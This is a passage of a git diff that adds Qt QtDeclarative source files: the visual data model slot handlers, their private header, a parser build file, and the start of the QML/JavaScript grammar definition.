+ emit itemsMoved(from, to, count);
+}
+
+void QDeclarativeVisualDataModel::_q_rowsInserted(const QModelIndex &parent, int begin, int end)
+{
+ Q_D(QDeclarativeVisualDataModel);
+ if (parent == d->m_root)
+ _q_itemsInserted(begin, end - begin + 1);
+}
+
+void QDeclarativeVisualDataModel::_q_rowsRemoved(const QModelIndex &parent, int begin, int end)
+{
+ Q_D(QDeclarativeVisualDataModel);
+ if (parent == d->m_root)
+ _q_itemsRemoved(begin, end - begin + 1);
+}
+
+void QDeclarativeVisualDataModel::_q_rowsMoved(const QModelIndex &sourceParent, int sourceStart, int sourceEnd, const QModelIndex &destinationParent, int destinationRow)
+{
+ Q_D(QDeclarativeVisualDataModel);
+ const int count = sourceEnd - sourceStart + 1;
+ if (destinationParent == d->m_root && sourceParent == d->m_root) {
+ _q_itemsMoved(sourceStart, sourceStart > destinationRow ? destinationRow : destinationRow-count, count);
+ } else if (sourceParent == d->m_root) {
+ _q_itemsRemoved(sourceStart, count);
+ } else if (destinationParent == d->m_root) {
+ _q_itemsInserted(destinationRow, count);
+ }
+}
+
+void QDeclarativeVisualDataModel::_q_dataChanged(const QModelIndex &begin, const QModelIndex &end)
+{
+ Q_D(QDeclarativeVisualDataModel);
+ if (begin.parent() == d->m_root)
+ _q_itemsChanged(begin.row(), end.row() - begin.row() + 1, d->m_roles);
+}
+
+void QDeclarativeVisualDataModel::_q_layoutChanged()
+{
+ Q_D(QDeclarativeVisualDataModel);
+ _q_itemsChanged(0, count(), d->m_roles);
+}
+
+void QDeclarativeVisualDataModel::_q_modelReset()
+{
+ Q_D(QDeclarativeVisualDataModel);
+ d->m_root = QModelIndex();
+ emit modelReset();
+ emit rootIndexChanged();
+ if (d->m_abstractItemModel && d->m_abstractItemModel->canFetchMore(d->m_root))
+ d->m_abstractItemModel->fetchMore(d->m_root);
+}
+
+void QDeclarativeVisualDataModel::_q_createdPackage(int index, QDeclarativePackage *package)
+{
+ Q_D(QDeclarativeVisualDataModel);
+ emit createdItem(index, qobject_cast<QDeclarativeItem*>(package->part(d->m_part)));
+}
+
+void QDeclarativeVisualDataModel::_q_destroyingPackage(QDeclarativePackage *package)
+{
+ Q_D(QDeclarativeVisualDataModel);
+ emit destroyingItem(qobject_cast<QDeclarativeItem*>(package->part(d->m_part)));
+}
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QListModelInterface)
+
+#include <qdeclarativevisualitemmodel.moc>
diff --git a/src/declarative/graphicsitems/qdeclarativevisualitemmodel_p.h b/src/declarative/graphicsitems/qdeclarativevisualitemmodel_p.h
new file mode 100644
index 00000000..cce221e2
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativevisualitemmodel_p.h
@@ -0,0 +1,257 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEVISUALDATAMODEL_H
+#define QDECLARATIVEVISUALDATAMODEL_H
+
+#include <qdeclarative.h>
+
+#include <QtCore/qobject.h>
+#include <QtCore/qabstractitemmodel.h>
+
+QT_BEGIN_HEADER
+
+Q_DECLARE_METATYPE(QModelIndex)
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeItem;
+class QDeclarativeComponent;
+class QDeclarativePackage;
+class QDeclarativeVisualDataModelPrivate;
+
+class Q_AUTOTEST_EXPORT QDeclarativeVisualModel : public QObject
+{
+ Q_OBJECT
+
+ Q_PROPERTY(int count READ count NOTIFY countChanged)
+
+public:
+ virtual ~QDeclarativeVisualModel() {}
+
+ enum ReleaseFlag { Referenced = 0x01, Destroyed = 0x02 };
+ Q_DECLARE_FLAGS(ReleaseFlags, ReleaseFlag)
+
+ virtual int count() const = 0;
+ virtual bool isValid() const = 0;
+ virtual QDeclarativeItem *item(int index, bool complete=true) = 0;
+ virtual ReleaseFlags release(QDeclarativeItem *item) = 0;
+ virtual bool completePending() const = 0;
+ virtual void completeItem() = 0;
+ virtual QString stringValue(int, const QString &) = 0;
+ virtual void setWatchedRoles(QList<QByteArray> roles) = 0;
+
+ virtual int indexOf(QDeclarativeItem *item, QObject *objectContext) const = 0;
+
+Q_SIGNALS:
+ void countChanged();
+ void itemsInserted(int index, int count);
+ void itemsRemoved(int index, int count);
+ void itemsMoved(int from, int to, int count);
+ void itemsChanged(int index, int count);
+ void modelReset();
+ void createdItem(int index, QDeclarativeItem *item);
+ void destroyingItem(QDeclarativeItem *item);
+
+protected:
+ QDeclarativeVisualModel(QObjectPrivate &dd, QObject *parent = 0)
+ : QObject(dd, parent) {}
+
+private:
+ Q_DISABLE_COPY(QDeclarativeVisualModel)
+};
+
+class QDeclarativeVisualItemModelAttached;
+class QDeclarativeVisualItemModelPrivate;
+class Q_AUTOTEST_EXPORT QDeclarativeVisualItemModel : public QDeclarativeVisualModel
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativeVisualItemModel)
+
+ Q_PROPERTY(QDeclarativeListProperty<QDeclarativeItem> children READ children NOTIFY childrenChanged DESIGNABLE false)
+ Q_CLASSINFO("DefaultProperty", "children")
+
+public:
+ QDeclarativeVisualItemModel(QObject *parent=0);
+ virtual ~QDeclarativeVisualItemModel() {}
+
+ virtual int count() const;
+ virtual bool isValid() const;
+ virtual QDeclarativeItem *item(int index, bool complete=true);
+ virtual ReleaseFlags release(QDeclarativeItem *item);
+ virtual bool completePending() const;
+ virtual void completeItem();
+ virtual QString stringValue(int index, const QString &role);
+ virtual void setWatchedRoles(QList<QByteArray>) {}
+
+ virtual int indexOf(QDeclarativeItem *item, QObject *objectContext) const;
+
+ QDeclarativeListProperty<QDeclarativeItem> children();
+
+ static QDeclarativeVisualItemModelAttached *qmlAttachedProperties(QObject *obj);
+
+Q_SIGNALS:
+ void childrenChanged();
+
+private:
+ Q_DISABLE_COPY(QDeclarativeVisualItemModel)
+};
+
+
+class Q_AUTOTEST_EXPORT QDeclarativeVisualDataModel : public QDeclarativeVisualModel
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativeVisualDataModel)
+
+ Q_PROPERTY(QVariant model READ model WRITE setModel)
+ Q_PROPERTY(QDeclarativeComponent *delegate READ delegate WRITE setDelegate)
+ Q_PROPERTY(QString part READ part WRITE setPart)
+ Q_PROPERTY(QObject *parts READ parts CONSTANT)
+ Q_PROPERTY(QVariant rootIndex READ rootIndex WRITE setRootIndex NOTIFY rootIndexChanged)
+ Q_CLASSINFO("DefaultProperty", "delegate")
+public:
+ QDeclarativeVisualDataModel();
+ QDeclarativeVisualDataModel(QDeclarativeContext *, QObject *parent=0);
+ virtual ~QDeclarativeVisualDataModel();
+
+ QVariant model() const;
+ void setModel(const QVariant &);
+
+ QDeclarativeComponent *delegate() const;
+ void setDelegate(QDeclarativeComponent *);
+
+ QVariant rootIndex() const;
+ void setRootIndex(const QVariant &root);
+
+ Q_INVOKABLE QVariant modelIndex(int idx) const;
+ Q_INVOKABLE QVariant parentModelIndex() const;
+
+ QString part() const;
+ void setPart(const QString &);
+
+ int count() const;
+ bool isValid() const { return delegate() != 0; }
+ QDeclarativeItem *item(int index, bool complete=true);
+ QDeclarativeItem *item(int index, const QByteArray &, bool complete=true);
+ ReleaseFlags release(QDeclarativeItem *item);
+ bool completePending() const;
+ void completeItem();
+ virtual QString stringValue(int index, const QString &role);
+ virtual void setWatchedRoles(QList<QByteArray> roles);
+
+ int indexOf(QDeclarativeItem *item, QObject *objectContext) const;
+
+ QObject *parts();
+
+Q_SIGNALS:
+ void createdPackage(int index, QDeclarativePackage *package);
+ void destroyingPackage(QDeclarativePackage *package);
+ void rootIndexChanged();
+
+private Q_SLOTS:
+ void _q_itemsChanged(int, int, const QList<int> &);
+ void _q_itemsInserted(int index, int count);
+ void _q_itemsRemoved(int index, int count);
+ void _q_itemsMoved(int from, int to, int count);
+ void _q_rowsInserted(const QModelIndex &,int,int);
+ void _q_rowsRemoved(const QModelIndex &,int,int);
+ void _q_rowsMoved(const QModelIndex &, int, int, const QModelIndex &, int);
+ void _q_dataChanged(const QModelIndex&,const QModelIndex&);
+ void _q_layoutChanged();
+ void _q_modelReset();
+ void _q_createdPackage(int index, QDeclarativePackage *package);
+ void _q_destroyingPackage(QDeclarativePackage *package);
+
+private:
+ Q_DISABLE_COPY(QDeclarativeVisualDataModel)
+};
+
+class QDeclarativeVisualItemModelAttached : public QObject
+{
+ Q_OBJECT
+
+public:
+ QDeclarativeVisualItemModelAttached(QObject *parent)
+ : QObject(parent), m_index(0) {}
+ ~QDeclarativeVisualItemModelAttached() {
+ attachedProperties.remove(parent());
+ }
+
+ Q_PROPERTY(int index READ index NOTIFY indexChanged)
+ int index() const { return m_index; }
+ void setIndex(int idx) {
+ if (m_index != idx) {
+ m_index = idx;
+ emit indexChanged();
+ }
+ }
+
+ static QDeclarativeVisualItemModelAttached *properties(QObject *obj) {
+ QDeclarativeVisualItemModelAttached *rv = attachedProperties.value(obj);
+ if (!rv) {
+ rv = new QDeclarativeVisualItemModelAttached(obj);
+ attachedProperties.insert(obj, rv);
+ }
+ return rv;
+ }
+
+Q_SIGNALS:
+ void indexChanged();
+
+public:
+ int m_index;
+
+ static QHash<QObject*, QDeclarativeVisualItemModelAttached*> attachedProperties;
+};
+
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeVisualModel)
+QML_DECLARE_TYPE(QDeclarativeVisualItemModel)
+QML_DECLARE_TYPEINFO(QDeclarativeVisualItemModel, QML_HAS_ATTACHED_PROPERTIES)
+QML_DECLARE_TYPE(QDeclarativeVisualDataModel)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEVISUALDATAMODEL_H
diff --git a/src/declarative/qml/parser/parser.pri b/src/declarative/qml/parser/parser.pri
new file mode 100644
index 00000000..fd4361c2
--- /dev/null
+++ b/src/declarative/qml/parser/parser.pri
@@ -0,0 +1,21 @@
+INCLUDEPATH += $$PWD
+
+HEADERS += \
+ $$PWD/qdeclarativejsast_p.h \
+ $$PWD/qdeclarativejsastfwd_p.h \
+ $$PWD/qdeclarativejsastvisitor_p.h \
+ $$PWD/qdeclarativejsengine_p.h \
+ $$PWD/qdeclarativejsgrammar_p.h \
+ $$PWD/qdeclarativejslexer_p.h \
+ $$PWD/qdeclarativejsmemorypool_p.h \
+ $$PWD/qdeclarativejsnodepool_p.h \
+ $$PWD/qdeclarativejsparser_p.h \
+ $$PWD/qdeclarativejsglobal_p.h
+
+SOURCES += \
+ $$PWD/qdeclarativejsast.cpp \
+ $$PWD/qdeclarativejsastvisitor.cpp \
+ $$PWD/qdeclarativejsengine_p.cpp \
+ $$PWD/qdeclarativejsgrammar.cpp \
+ $$PWD/qdeclarativejslexer.cpp \
+ $$PWD/qdeclarativejsparser.cpp
diff --git a/src/declarative/qml/parser/qdeclarativejs.g b/src/declarative/qml/parser/qdeclarativejs.g
new file mode 100644
index 00000000..3fb9412c
--- /dev/null
+++ b/src/declarative/qml/parser/qdeclarativejs.g
@@ -0,0 +1,3149 @@
+----------------------------------------------------------------------------
+--
+-- Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+-- All rights reserved.
+-- Contact: Nokia Corporation (qt-info@nokia.com)
+--
+-- This file is part of the QtDeclarative module of the Qt Toolkit.
+--
+-- $QT_BEGIN_LICENSE:LGPL-ONLY$
+-- GNU Lesser General Public License Usage
+-- This file may be used under the terms of the GNU Lesser
+-- General Public License version 2.1 as published by the Free Software
+-- Foundation and appearing in the file LICENSE.LGPL included in the
+-- packaging of this file. Please review the following information to
+-- ensure the GNU Lesser General Public License version 2.1 requirements
+-- will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+--
+-- If you have questions regarding the use of this file, please contact
+-- Nokia at qt-info@nokia.com.
+-- $QT_END_LICENSE$
+--
+----------------------------------------------------------------------------
+
+%parser QDeclarativeJSGrammar
+%decl qdeclarativejsparser_p.h
+%impl qdeclarativejsparser.cpp
+%expect 2
+%expect-rr 2
+
+%token T_AND "&" T_AND_AND "&&" T_AND_EQ "&="
+%token T_BREAK "break" T_CASE "case" T_CATCH "catch"
+%token T_COLON ":" T_COMMA ";" T_CONTINUE "continue"
+%token T_DEFAULT "default" T_DELETE "delete" T_DIVIDE_ "/"
+%token T_DIVIDE_EQ "/=" T_DO "do" T_DOT "."
+%token T_ELSE "else" T_EQ "=" T_EQ_EQ "=="
+%token T_EQ_EQ_EQ "===" T_FINALLY "finally" T_FOR "for"
+%token T_FUNCTION "function" T_GE ">=" T_GT ">"
+%token T_GT_GT ">>" T_GT_GT_EQ ">>=" T_GT_GT_GT ">>>"
+%token T_GT_GT_GT_EQ ">>>=" T_IDENTIFIER "identifier" T_IF "if"
+%token T_IN "in" T_INSTANCEOF "instanceof" T_LBRACE "{"
+%token T_LBRACKET "[" T_LE "<=" T_LPAREN "("
+%token T_LT "<" T_LT_LT "<<" T_LT_LT_EQ "<<="
+%token T_MINUS "-" T_MINUS_EQ "-=" T_MINUS_MINUS "--"
+%token T_NEW "new" T_NOT "!" T_NOT_EQ "!="
+%token T_NOT_EQ_EQ "!==" T_NUMERIC_LITERAL "numeric literal" T_OR "|"
+%token T_OR_EQ "|=" T_OR_OR "||" T_PLUS "+"
+%token T_PLUS_EQ "+=" T_PLUS_PLUS "++" T_QUESTION "?"
+%token T_RBRACE "}" T_RBRACKET "]" T_REMAINDER "%"
+%token T_REMAINDER_EQ "%=" T_RETURN "return" T_RPAREN ")"
+%token T_SEMICOLON ";" T_AUTOMATIC_SEMICOLON T_STAR "*"
+%token T_STAR_EQ "*=" T_STRING_LITERAL "string literal"
+%token T_PROPERTY "property" T_SIGNAL "signal" T_READONLY "readonly"
+%token T_SWITCH "switch" T_THIS "this" T_THROW "throw"
+%token T_TILDE "~" T_TRY "try" T_TYPEOF "typeof"
+%token T_VAR "var" T_VOID "void" T_WHILE "while"
+%token T_WITH "with" T_XOR "^" T_XOR_EQ "^="
+%token T_NULL "null" T_TRUE "true" T_FALSE "false"
+%token T_CONST "const"
+%token T_DEBUGGER "debugger"
+%token T_RESERVED_WORD "reserved word"
+%token T_MULTILINE_STRING_LITERAL "multiline string literal"
+%token T_COMMENT "comment"
+
+--- context keywords.
+%token T_PUBLIC "public"
+%token T_IMPORT "import"
+%token T_AS "as"
+%token T_ON "on"
+
+--- feed tokens
+%token T_FEED_UI_PROGRAM
+%token T_FEED_UI_OBJECT_MEMBER
+%token T_FEED_JS_STATEMENT
+%token T_FEED_JS_EXPRESSION
+%token T_FEED_JS_SOURCE_ELEMENT
+%token T_FEED_JS_PROGRAM
+
+%nonassoc SHIFT_THERE
+%nonassoc T_IDENTIFIER T_COLON T_SIGNAL T_PROPERTY T_READONLY
+%nonassoc REDUCE_HERE
+
+%start TopLevel
+
+/./****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtCore/QtDebug>
+#include <QtGui/QApplication>
+
+#include <string.h>
+
+#include "private/qdeclarativejsengine_p.h"
+#include "private/qdeclarativejslexer_p.h"
+#include "private/qdeclarativejsast_p.h"
+#include "private/qdeclarativejsnodepool_p.h"
+
+./
+
+/:/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+//
+// This file is automatically generated from qmljs.g.
+// Changes will be lost.
+//
+
+#ifndef QDECLARATIVEJSPARSER_P_H
+#define QDECLARATIVEJSPARSER_P_H
+
+#include "private/qdeclarativejsglobal_p.h"
+#include "private/qdeclarativejsgrammar_p.h"
+#include "private/qdeclarativejsast_p.h"
+#include "private/qdeclarativejsengine_p.h"
+
+#include <QtCore/QList>
+#include <QtCore/QString>
+
+QT_QML_BEGIN_NAMESPACE
+
+namespace QDeclarativeJS {
+
+class Engine;
+class NameId;
+
+class QML_PARSER_EXPORT Parser: protected $table
+{
+public:
+ union Value {
+ int ival;
+ double dval;
+ NameId *sval;
+ AST::ArgumentList *ArgumentList;
+ AST::CaseBlock *CaseBlock;
+ AST::CaseClause *CaseClause;
+ AST::CaseClauses *CaseClauses;
+ AST::Catch *Catch;
+ AST::DefaultClause *DefaultClause;
+ AST::ElementList *ElementList;
+ AST::Elision *Elision;
+ AST::ExpressionNode *Expression;
+ AST::Finally *Finally;
+ AST::FormalParameterList *FormalParameterList;
+ AST::FunctionBody *FunctionBody;
+ AST::FunctionDeclaration *FunctionDeclaration;
+ AST::Node *Node;
+ AST::PropertyName *PropertyName;
+ AST::PropertyNameAndValueList *PropertyNameAndValueList;
+ AST::SourceElement *SourceElement;
+ AST::SourceElements *SourceElements;
+ AST::Statement *Statement;
+ AST::StatementList *StatementList;
+ AST::Block *Block;
+ AST::VariableDeclaration *VariableDeclaration;
+ AST::VariableDeclarationList *VariableDeclarationList;
+
+ AST::UiProgram *UiProgram;
+ AST::UiImportList *UiImportList;
+ AST::UiImport *UiImport;
+ AST::UiParameterList *UiParameterList;
+ AST::UiPublicMember *UiPublicMember;
+ AST::UiObjectDefinition *UiObjectDefinition;
+ AST::UiObjectInitializer *UiObjectInitializer;
+ AST::UiObjectBinding *UiObjectBinding;
+ AST::UiScriptBinding *UiScriptBinding;
+ AST::UiArrayBinding *UiArrayBinding;
+ AST::UiObjectMember *UiObjectMember;
+ AST::UiObjectMemberList *UiObjectMemberList;
+ AST::UiArrayMemberList *UiArrayMemberList;
+ AST::UiQualifiedId *UiQualifiedId;
+ AST::UiSignature *UiSignature;
+ AST::UiFormalList *UiFormalList;
+ AST::UiFormal *UiFormal;
+ };
+
+public:
+ Parser(Engine *engine);
+ ~Parser();
+
+ // parse a UI program
+ bool parse() { return parse(T_FEED_UI_PROGRAM); }
+ bool parseStatement() { return parse(T_FEED_JS_STATEMENT); }
+ bool parseExpression() { return parse(T_FEED_JS_EXPRESSION); }
+ bool parseSourceElement() { return parse(T_FEED_JS_SOURCE_ELEMENT); }
+ bool parseUiObjectMember() { return parse(T_FEED_UI_OBJECT_MEMBER); }
+ bool parseProgram() { return parse(T_FEED_JS_PROGRAM); }
+
+ AST::UiProgram *ast() const
+ { return AST::cast<AST::UiProgram *>(program); }
+
+ AST::Statement *statement() const
+ {
+ if (! program)
+ return 0;
+
+ return program->statementCast();
+ }
+
+ AST::ExpressionNode *expression() const
+ {
+ if (! program)
+ return 0;
+
+ return program->expressionCast();
+ }
+
+ AST::UiObjectMember *uiObjectMember() const
+ {
+ if (! program)
+ return 0;
+
+ return program->uiObjectMemberCast();
+ }
+
+ AST::Node *rootNode() const
+ { return program; }
+
+ QList<DiagnosticMessage> diagnosticMessages() const
+ { return diagnostic_messages; }
+
+ inline DiagnosticMessage diagnosticMessage() const
+ {
+ foreach (const DiagnosticMessage &d, diagnostic_messages) {
+ if (! d.kind == DiagnosticMessage::Warning)
+ return d;
+ }
+
+ return DiagnosticMessage();
+ }
+
+ inline QString errorMessage() const
+ { return diagnosticMessage().message; }
+
+ inline int errorLineNumber() const
+ { return diagnosticMessage().loc.startLine; }
+
+ inline int errorColumnNumber() const
+ { return diagnosticMessage().loc.startColumn; }
+
+protected:
+ bool parse(int startToken);
+
+ void reallocateStack();
+
+ inline Value &sym(int index)
+ { return sym_stack [tos + index - 1]; }
+
+ inline AST::SourceLocation &loc(int index)
+ { return location_stack [tos + index - 1]; }
+
+ AST::UiQualifiedId *reparseAsQualifiedId(AST::ExpressionNode *expr);
+
+protected:
+ Engine *driver;
+ int tos;
+ int stack_size;
+ Value *sym_stack;
+ int *state_stack;
+ AST::SourceLocation *location_stack;
+
+ AST::Node *program;
+
+ // error recovery
+ enum { TOKEN_BUFFER_SIZE = 3 };
+
+ struct SavedToken {
+ int token;
+ double dval;
+ AST::SourceLocation loc;
+ };
+
+ double yylval;
+ AST::SourceLocation yylloc;
+ AST::SourceLocation yyprevlloc;
+
+ SavedToken token_buffer[TOKEN_BUFFER_SIZE];
+ SavedToken *first_token;
+ SavedToken *last_token;
+
+ QList<DiagnosticMessage> diagnostic_messages;
+};
+
+} // end of namespace QDeclarativeJS
+
+
+:/
+
+
+/.
+
+#include "private/qdeclarativejsparser_p.h"
+#include <QVarLengthArray>
+
+//
+// This file is automatically generated from qmljs.g.
+// Changes will be lost.
+//
+
+using namespace QDeclarativeJS;
+
+QT_QML_BEGIN_NAMESPACE
+
+void Parser::reallocateStack()
+{
+ if (! stack_size)
+ stack_size = 128;
+ else
+ stack_size <<= 1;
+
+ sym_stack = reinterpret_cast<Value*> (qRealloc(sym_stack, stack_size * sizeof(Value)));
+ state_stack = reinterpret_cast<int*> (qRealloc(state_stack, stack_size * sizeof(int)));
+ location_stack = reinterpret_cast<AST::SourceLocation*> (qRealloc(location_stack, stack_size * sizeof(AST::SourceLocation)));
+}
+
+inline static bool automatic(Engine *driver, int token)
+{
+ return token == $table::T_RBRACE
+ || token == 0
+ || driver->lexer()->prevTerminator();
+}
+
+
+Parser::Parser(Engine *engine):
+ driver(engine),
+ tos(0),
+ stack_size(0),
+ sym_stack(0),
+ state_stack(0),
+ location_stack(0),
+ first_token(0),
+ last_token(0)
+{
+}
+
+Parser::~Parser()
+{
+ if (stack_size) {
+ qFree(sym_stack);
+ qFree(state_stack);
+ qFree(location_stack);
+ }
+}
+
+static inline AST::SourceLocation location(Lexer *lexer)
+{
+ AST::SourceLocation loc;
+ loc.offset = lexer->tokenOffset();
+ loc.length = lexer->tokenLength();
+ loc.startLine = lexer->startLineNo();
+ loc.startColumn = lexer->startColumnNo();
+ return loc;
+}
+
+AST::UiQualifiedId *Parser::reparseAsQualifiedId(AST::ExpressionNode *expr)
+{
+ QVarLengthArray<NameId *, 4> nameIds;
+ QVarLengthArray<AST::SourceLocation, 4> locations;
+
+ AST::ExpressionNode *it = expr;
+ while (AST::FieldMemberExpression *m = AST::cast<AST::FieldMemberExpression *>(it)) {
+ nameIds.append(m->name);
+ locations.append(m->identifierToken);
+ it = m->base;
+ }
+
+ if (AST::IdentifierExpression *idExpr = AST::cast<AST::IdentifierExpression *>(it)) {
+ AST::UiQualifiedId *q = makeAstNode<AST::UiQualifiedId>(driver->nodePool(), idExpr->name);
+ q->identifierToken = idExpr->identifierToken;
+
+ AST::UiQualifiedId *currentId = q;
+ for (int i = nameIds.size() - 1; i != -1; --i) {
+ currentId = makeAstNode<AST::UiQualifiedId>(driver->nodePool(), currentId, nameIds[i]);
+ currentId->identifierToken = locations[i];
+ }
+
+ return currentId->finish();
+ }
+
+ return 0;
+}
+
+bool Parser::parse(int startToken)
+{
+ Lexer *lexer = driver->lexer();
+ bool hadErrors = false;
+ int yytoken = -1;
+ int action = 0;
+
+ token_buffer[0].token = startToken;
+ first_token = &token_buffer[0];
+ last_token = &token_buffer[1];
+
+ tos = -1;
+ program = 0;
+
+ do {
+ if (++tos == stack_size)
+ reallocateStack();
+
+ state_stack[tos] = action;
+
+ _Lcheck_token:
+ if (yytoken == -1 && -TERMINAL_COUNT != action_index[action]) {
+ yyprevlloc = yylloc;
+
+ if (first_token == last_token) {
+ yytoken = lexer->lex();
+ yylval = lexer->dval();
+ yylloc = location(lexer);
+ } else {
+ yytoken = first_token->token;
+ yylval = first_token->dval;
+ yylloc = first_token->loc;
+ ++first_token;
+ }
+ }
+
+ action = t_action(action, yytoken);
+ if (action > 0) {
+ if (action != ACCEPT_STATE) {
+ yytoken = -1;
+ sym(1).dval = yylval;
+ loc(1) = yylloc;
+ } else {
+ --tos;
+ return ! hadErrors;
+ }
+ } else if (action < 0) {
+ const int r = -action - 1;
+ tos -= rhs[r];
+
+ switch (r) {
+./
+
+--------------------------------------------------------------------------------------------------------
+-- Declarative UI
+--------------------------------------------------------------------------------------------------------
+
+TopLevel: T_FEED_UI_PROGRAM UiProgram ;
+/.
+case $rule_number: {
+ sym(1).Node = sym(2).Node;
+ program = sym(1).Node;
+} break;
+./
+
+TopLevel: T_FEED_JS_STATEMENT Statement ;
+/.
+case $rule_number: {
+ sym(1).Node = sym(2).Node;
+ program = sym(1).Node;
+} break;
+./
+
+TopLevel: T_FEED_JS_EXPRESSION Expression ;
+/.
+case $rule_number: {
+ sym(1).Node = sym(2).Node;
+ program = sym(1).Node;
+} break;
+./
+
+TopLevel: T_FEED_JS_SOURCE_ELEMENT SourceElement ;
+/.
+case $rule_number: {
+ sym(1).Node = sym(2).Node;
+ program = sym(1).Node;
+} break;
+./
+
+TopLevel: T_FEED_UI_OBJECT_MEMBER UiObjectMember ;
+/.
+case $rule_number: {
+ sym(1).Node = sym(2).Node;
+ program = sym(1).Node;
+} break;
+./
+
+TopLevel: T_FEED_JS_PROGRAM Program ;
+/.
+case $rule_number: {
+ sym(1).Node = sym(2).Node;
+ program = sym(1).Node;
+} break;
+./
+
+UiProgram: UiImportListOpt UiRootMember ;
+/.
+case $rule_number: {
+ sym(1).UiProgram = makeAstNode<AST::UiProgram> (driver->nodePool(), sym(1).UiImportList,
+ sym(2).UiObjectMemberList->finish());
+} break;
+./
+
+UiImportListOpt: Empty ;
+UiImportListOpt: UiImportList ;
+/.
+case $rule_number: {
+ sym(1).Node = sym(1).UiImportList->finish();
+} break;
+./
+
+UiImportList: UiImport ;
+/.
+case $rule_number: {
+ sym(1).Node = makeAstNode<AST::UiImportList> (driver->nodePool(), sym(1).UiImport);
+} break;
+./
+
+UiImportList: UiImportList UiImport ;
+/.
+case $rule_number: {
+ sym(1).Node = makeAstNode<AST::UiImportList> (driver->nodePool(),
+ sym(1).UiImportList, sym(2).UiImport);
+} break;
+./
+
+ImportId: MemberExpression ;
+
+UiImport: UiImportHead T_AUTOMATIC_SEMICOLON ;
+UiImport: UiImportHead T_SEMICOLON ;
+/.
+case $rule_number: {
+ sym(1).UiImport->semicolonToken = loc(2);
+} break;
+./
+
+UiImport: UiImportHead T_NUMERIC_LITERAL T_AUTOMATIC_SEMICOLON ;
+UiImport: UiImportHead T_NUMERIC_LITERAL T_SEMICOLON ;
+/.
+case $rule_number: {
+ sym(1).UiImport->versionToken = loc(2);
+ sym(1).UiImport->semicolonToken = loc(3);
+} break;
+./
